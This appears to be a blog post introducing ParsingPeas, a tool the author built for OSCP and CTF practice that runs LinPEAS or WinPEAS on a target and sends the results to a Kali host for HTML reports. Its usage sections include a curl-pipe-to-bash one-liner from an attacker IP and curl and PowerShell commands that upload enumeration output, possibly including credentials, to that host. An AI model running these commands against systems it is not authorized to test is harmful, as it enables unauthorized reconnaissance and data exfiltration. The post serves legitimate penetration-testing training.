ParsingPeas: Automating LinPEAS Collection
I wasted 2 hours on extra enumeration because I missed a finding in WinPEAS output. That was the breaking point. I built ParsingPeas to fix this.
The Problem
During OSCP prep, I was solving multiple boxes daily. The workflow sucked:
- Transfer LinPEAS manually
- Run the scan
- Scroll through thousands of colored lines in the terminal
- Miss important findings
- Copy-paste output somewhere for later review
- Lose track of which output belongs to which box
I actually tried another tool from GitHub that generates HTML reports, but it required multiple steps to get a working page. That defeated the purpose.
The Solution
One command on target:
curl -sSL http://YOUR_KALI_IP:8000/get-script | bash
LinPEAS runs, results transfer automatically, HTML report generates. Done.
How It Works
On Kali:
git clone https://github.com/YuvalMil/ParsingPeas.git
cd ParsingPeas
./setup.sh
python3 receiver.py
Architecture:
receiver.py- HTTP server that hosts binaries and receives resultsparser.py- Parses ANSI output, categorizes findingswrapper.sh/ps1- Runs scan, uploads results automatically
Target doesn’t need internet. Everything goes through your Kali box.
Features
One-liner execution The whole point was making it actually worth using. One command, that’s it.
HTML reports:
- Categorized sections (SUID, Cron, Network, Passwords, etc.)
- Preserved ANSI colors (hardest part to get right)
- Jump navigation between sections
- Full terminal view
Multi-session support Each scan gets its own report by hostname + timestamp.
Sudo hang fix
Discovered this while testing via SSH. LinPEAS would hang on sudo -l waiting for password. Wrapper patches it:
alias sudo='sudo -n'
export SUDO_ASKPASS=/bin/false
Works offline Perfect for pivoted networks or isolated lab environments.
Usage
Basic
# On Kali
python3 receiver.py
# On target
curl -sSL http://10.10.14.5:8000/get-script | bash
# View at http://10.10.14.5:8000
Manual (if curl fails)
# Target
curl http://10.10.14.5:8000/get-linpeas -o /tmp/lp.sh
chmod +x /tmp/lp.sh
/tmp/lp.sh > /tmp/out.txt
curl -X POST \
-H "X-Hostname: $(hostname)" \
-H "X-Scan-Type: linpeas" \
--data-binary @/tmp/out.txt \
http://10.10.14.5:8000/upload
Parse local files
python3 parser.py /path/to/linpeas_output.txt
Development
This is my first real tool. I’ve written scripts and wrappers before, but never built something from scratch and released it.
Had the idea for months but never felt like starting. Then I found myself scrolling through LinPEAS output in the terminal again and just decided I’m doing it.
First version took a few hours but wasn’t very good. Added HTML parsing, refined the categorization, got the colors right.
Posted on LinkedIn, got around 700 likes. The GitHub repo hit 69 stars in under a week. Honestly didn’t expect that.
Technical Notes
ANSI Color Preservation
Hardest problem was keeping colors as close as possible to the original. I know how important color coding is for quickly spotting critical findings.
ansi_pattern = re.compile(r'\x1b\[[0-9;]*m')
red_pattern = re.compile(r'\x1b\[1;31m') # Critical
yellow_pattern = re.compile(r'\x1b\[1;33m') # Important
categories = {
'SUID': ['SUID', 'SGID', 'Capabilities'],
'Cron Jobs': ['CRON', 'crontab'],
'Network': ['Interfaces', 'Netstat'],
# 20+ more
}
WinPEAS Support
Windows has different encoding and header formats:
$output = & .\winPEASx64.exe | Out-String
Invoke-RestMethod -Uri "http://$KaliIP:8000/upload" `
-Method POST `
-Headers @{"X-Hostname"=$env:COMPUTERNAME; "X-Scan-Type"="winpeas"} `
-Body $output
Current State
It’s working well enough for CTFs. Haven’t gotten complaints yet, but I’m sure there are bugs waiting to be discovered as more people use it.
Right now I’m focusing on OSWE prep, but I’ll keep updating this. The TODO list is realistic - nothing crazy on there that I won’t eventually implement.
TODO
High priority:
- Better WinPEAS categorization
- Search in HTML reports
- User context display (root vs standard user)
Medium:
- Export to JSON/CSV
- Compare two reports side-by-side
- Better filename format
Low:
- Dark theme
- Bookmarks
- Timeline view
Links
Built on PEASS-ng by @carlospolop. MIT licensed.